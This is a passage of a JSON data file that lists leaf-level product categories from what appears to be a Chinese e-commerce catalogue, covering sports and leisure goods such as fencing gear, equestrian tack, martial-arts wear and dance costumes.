,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30357,"name":"果岭旗标","parent_cid":24498,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30208,"name":"风筝","parent_cid":24354,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30212,"name":"风筝线","parent_cid":24354,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30217,"name":"更多风筝配件","parent_cid":24354,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30211,"name":"绕线板","parent_cid":24354,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30216,"name":"更多空竹配件","parent_cid":24350,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30206,"name":"空竹","parent_cid":24350,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30213,"name":"空竹抖杆","parent_cid":24350,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30207,"name":"门球","parent_cid":24352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30209,"name":"门球包","parent_cid":24352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30210,"name":"门球杆","parent_cid":24352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30214,"name":"门球球门","parent_cid":24352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30215,"name":"专用计时/记分器","parent_cid":24352,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30485,"name":"电动花剑条","parent_cid":24691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30496,"name":"电动花剑整剑","parent_cid":24691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30466,"name":"花剑剑服","parent_cid":24691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30469,"name":"花剑零配","parent_cid":24691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30470,"name":"花剑面罩","parent_cid":24691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30468,"name":"花剑手套","parent_cid":24691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30467,"name":"花剑套装","parent_cid":24691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30486,"name":"训练花剑条","parent_cid":24691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30497,"name":"训练花剑整剑","parent_cid":24691,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30483,"name":"电动佩剑条","parent_cid":24688,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30494,"name":"电动佩剑整剑","parent_cid":24688,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30461,"name":"佩剑剑服","parent_cid":24688,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30464,"name":"佩剑零配","parent_cid":24688,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30465,"name":"佩剑面罩","parent_cid":24688,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30463,"name":"佩剑手套","parent_cid":24688,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30462,"name":"佩剑套装","parent_cid":24688,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30484,"name":"训练佩剑条","parent_cid":24688,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30495,"name":"训练佩剑整剑","parent_cid":24688,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30487,"name":"电动重剑条","parent_cid":24692,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30498,"name":"电动重剑整剑","parent_cid":24692,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30488,"name":"训练重剑条","parent_cid":24692,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30499,"name":"训练重剑整剑","parent_cid":24692,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30471,"name":"重剑剑服","parent_cid":24692,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30474,"name":"重剑零配","parent_cid":24692,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30475,"name":"重剑面罩","parent_cid":24692,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30473,"name":"重剑手套","parent_cid":24692,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30472,"name":"重剑套装","parent_cid":24692,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30135,"name":"篮球战术板","parent_cid":24199,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30226,"name":"穿钉","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30228,"name":"滑板/漂移板砂纸","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30230,"name":"滑板包","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30235,"name":"滑板轮子","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30231,"name":"滑板桥","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30232,"name":"轮滑包","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30237,"name":"轮滑鞋套","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30233,"name":"轮滑桩","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30239,"name":"漂移板护边","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30229,"name":"润滑油","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30238,"name":"速滑刀架","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30234,"name":"速滑服","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30225,"name":"头盔","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30224,"name":"T型滑板工具","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30236,"name":"直排轮子","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30227,"name":"轴承","parent_cid":24386,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30202,"name":"家用麻将","parent_cid":24325,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30205,"name":"旅行简装麻将","parent_cid":24325,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30200,"name":"麻将尺","parent_cid":24325,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30199,"name":"麻将垫","parent_cid":24325,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30201,"name":"麻将桌","parent_cid":24325,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30203,"name":"清洁用品","parent_cid":24325,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30414,"name":"马鞍","parent_cid":24694,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30448,"name":"马鞍包/袋","parent_cid":24694,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30435,"name":"马鞍垫","parent_cid":24694,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30489,"name":"马鞍护理液/鞍油","parent_cid":24694,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30436,"name":"马鞍架","parent_cid":24694,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30415,"name":"蹬带","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30422,"name":"肚带/肚带扣","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30437,"name":"号码布","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30450,"name":"口衔铁/马嚼/马衔","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30438,"name":"量马尺","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30455,"name":"马绑腿/马护腿/马护蹄","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30417,"name":"马镫","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30453,"name":"马镫带/马镫革","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30439,"name":"马缰绳","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30500,"name":"马蹄测量角尺","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30440,"name":"马蹄钉","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30441,"name":"马蹄铁","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30451,"name":"马眼罩/耳罩/嘴套/护尾","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30416,"name":"马衣","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30424,"name":"牵马/调教龙头","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30452,"name":"前胸带/低头革","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30447,"name":"水勒缰(水勒/缰绳/口衔套装)","parent_cid":24696,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30418,"name":"马球","parent_cid":24697,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30443,"name":"马球杆","parent_cid":24697,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30476,"name":"马球护膝","parent_cid":24697,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30442,"name":"马球帽","parent_cid":24697,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30444,"name":"马球靴","parent_cid":24697,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30419,"name":"马鞭","parent_cid":24699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30446,"name":"马鞭架","parent_cid":24699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30423,"name":"马刺/马刺带","parent_cid":24699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30421,"name":"马裤/大恰","parent_cid":24699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30454,"name":"马术包/骑士包","parent_cid":24699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30480,"name":"马术风镜","parent_cid":24699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30479,"name":"马术护腿","parent_cid":24699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30478,"name":"马术手套","parent_cid":24699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30477,"name":"马术头盔","parent_cid":24699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30481,"name":"骑士服装","parent_cid":24699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30482,"name":"骑士马靴","parent_cid":24699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30445,"name":"脱鞋器","parent_cid":24699,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30349,"name":"清洁保养套装","parent_cid":24492,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30345,"name":"清洗剂","parent_cid":24492,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30344,"name":"洗胶绵","parent_cid":24492,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30176,"name":"母球定位器","parent_cid":24243,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30147,"name":"皮头削","parent_cid":24243,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30177,"name":"皮头压制器","parent_cid":24243,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30146,"name":"台球刷","parent_cid":24243,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30367,"name":"刀","parent_cid":24502,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30368,"name":"剑","parent_cid":24502,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30369,"name":"剑道服","parent_cid":24502,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30399,"name":"空手道道带","parent_cid":24512,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30393,"name":"空手道服","parent_cid":24512,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30398,"name":"空手道护具","parent_cid":24512,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30402,"name":"空手道练习靶","parent_cid":24512,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30397,"name":"空手道手套","parent_cid":24512,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30384,"name":"拳击服","parent_cid":24507,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30390,"name":"拳击护具","parent_cid":24507,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30391,"name":"拳击擂台","parent_cid":24507,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30392,"name":"拳击沙袋","parent_cid":24507,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30389,"name":"拳击手套","parent_cid":24507,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30388,"name":"拳击头盔","parent_cid":24507,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30385,"name":"拳击鞋","parent_cid":24507,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30386,"name":"沙袋架","parent_cid":24507,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30387,"name":"速度球/发泄球","parent_cid":24507,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30378,"name":"柔道垫","parent_cid":24505,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30379,"name":"柔道服","parent_cid":24505,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30382,"name":"柔道腰带","parent_cid":24505,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30381,"name":"摔跤布袋","parent_cid":24504,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30375,"name":"摔跤垫","parent_cid":24504,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30376,"name":"摔跤服","parent_cid":24504,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30377,"name":"摔跤鞋","parent_cid":24504,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30372,"name":"太极服","parent_cid":24503,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30380,"name":"太极佛尘","parent_cid":24503,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30373,"name":"太极棍","parent_cid":24503,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30370,"name":"太极剑","parent_cid":24503,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30383,"name":"太极柔力球","parent_cid":24503,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30371,"name":"太极扇","parent_cid":24503,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30374,"name":"太极鞋","parent_cid":24503,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30394,"name":"跆拳道包","parent_cid":24513,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30404,"name":"跆拳道表演板","parent_cid":24513,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30403,"name":"跆拳道场馆垫","parent_cid":24513,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30401,"name":"跆拳道道带","parent_cid":24513,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30395,"name":"跆拳道服","parent_cid":24513,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30400,"name":"跆拳道脚靶","parent_cid":24513,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30396,"name":"跆拳道鞋","parent_cid":24513,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30582,"name":"裁判台","parent_cid":24801,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30583,"name":"裁判椅","parent_cid":24801,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30587,"name":"裁判专用哨","parent_cid":24801,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30585,"name":"计时工具","parent_cid":24801,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30599,"name":"安全警戒线","parent_cid":24812,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30598,"name":"场地测量尺","parent_cid":24812,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30597,"name":"场地吸水器","parent_cid":24812,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30600,"name":"撑杆跳插斗","parent_cid":24812,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30596,"name":"道次墩","parent_cid":24812,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30593,"name":"划线车","parent_cid":24812,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30595,"name":"平砂板","parent_cid":24812,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30601,"name":"铅球抵趾板","parent_cid":24812,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30602,"name":"铁饼链球插牌","parent_cid":24812,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30594,"name":"助跳板","parent_cid":24812,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30196,"name":"高弹力橡筋","parent_cid":24294,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30192,"name":"固腕支架","parent_cid":24294,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30190,"name":"六角球/反应球","parent_cid":24294,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30187,"name":"网球框","parent_cid":24294,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30195,"name":"网球练习器","parent_cid":24294,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30188,"name":"网球网","parent_cid":24294,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30273,"name":"芭蕾舞服","parent_cid":24408,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30316,"name":"芭蕾舞护腿袜/护具","parent_cid":24408,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30304,"name":"芭蕾舞配件","parent_cid":24408,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30274,"name":"芭蕾舞鞋","parent_cid":24408,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30315,"name":"芭蕾舞演出服","parent_cid":24408,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30275,"name":"藏族舞服","parent_cid":24410,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30307,"name":"藏族舞配饰","parent_cid":24410,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30276,"name":"藏族舞鞋","parent_cid":24410,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30258,"name":"草裙","parent_cid":24409,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30306,"name":"草裙舞配饰","parent_cid":24409,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30305,"name":"草裙舞套装","parent_cid":24409,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30267,"name":"朝鲜舞服","parent_cid":24403,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30296,"name":"朝鲜舞配饰","parent_cid":24403,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30268,"name":"朝鲜舞鞋","parent_cid":24403,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30261,"name":"傣族舞服","parent_cid":24397,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30285,"name":"傣族舞配饰","parent_cid":24397,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30303,"name":"肚皮舞配饰","parent_cid":24407,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30300,"name":"肚皮舞上装","parent_cid":24407,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30310,"name":"肚皮舞套装(演出服)","parent_cid":24407,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30301,"name":"肚皮舞下装","parent_cid":24407,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30272,"name":"肚皮舞鞋","parent_cid":24407,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30302,"name":"肚皮舞腰链","parent_cid":24407,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30279,"name":"钢管舞服","parent_cid":24412,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30309,"name":"钢管舞钢管","parent_cid":24412,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30280,"name":"钢管舞鞋","parent_cid":24412,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30313,"name":"广场舞半身裙","parent_cid":24399,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30318,"name":"广场舞半身裙广场舞裤","parent_cid":24399,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30323,"name":"广场舞半身裙广场舞连衣裙","parent_cid":24399,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30322,"name":"广场舞半身裙广场舞配件","parent_cid":24399,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30320,"name":"广场舞半身裙广场舞上装","parent_cid":24399,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30321,"name":"广场舞半身裙广场舞套装","parent_cid":24399,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30319,"name":"广场舞半身裙广场舞鞋","parent_cid":24399,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30284,"name":"健美操道具","parent_cid":24396,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30281,"name":"健美操上装","parent_cid":24396,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30283,"name":"健美操套装","parent_cid":24396,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30282,"name":"健美操下装","parent_cid":24396,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30255,"name":"街舞服装","parent_cid":24395,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30256,"name":"街舞配件","parent_cid":24395,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30253,"name":"街舞鞋","parent_cid":24395,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30312,"name":"爵士舞道具/配件","parent_cid":24404,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30297,"name":"爵士舞服装","parent_cid":24404,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30269,"name":"爵士舞鞋","parent_cid":24404,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30317,"name":"拉丁舞练习套装","parent_cid":24400,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30291,"name":"拉丁舞配件","parent_cid":24400,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30289,"name":"拉丁舞上装","parent_cid":24400,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{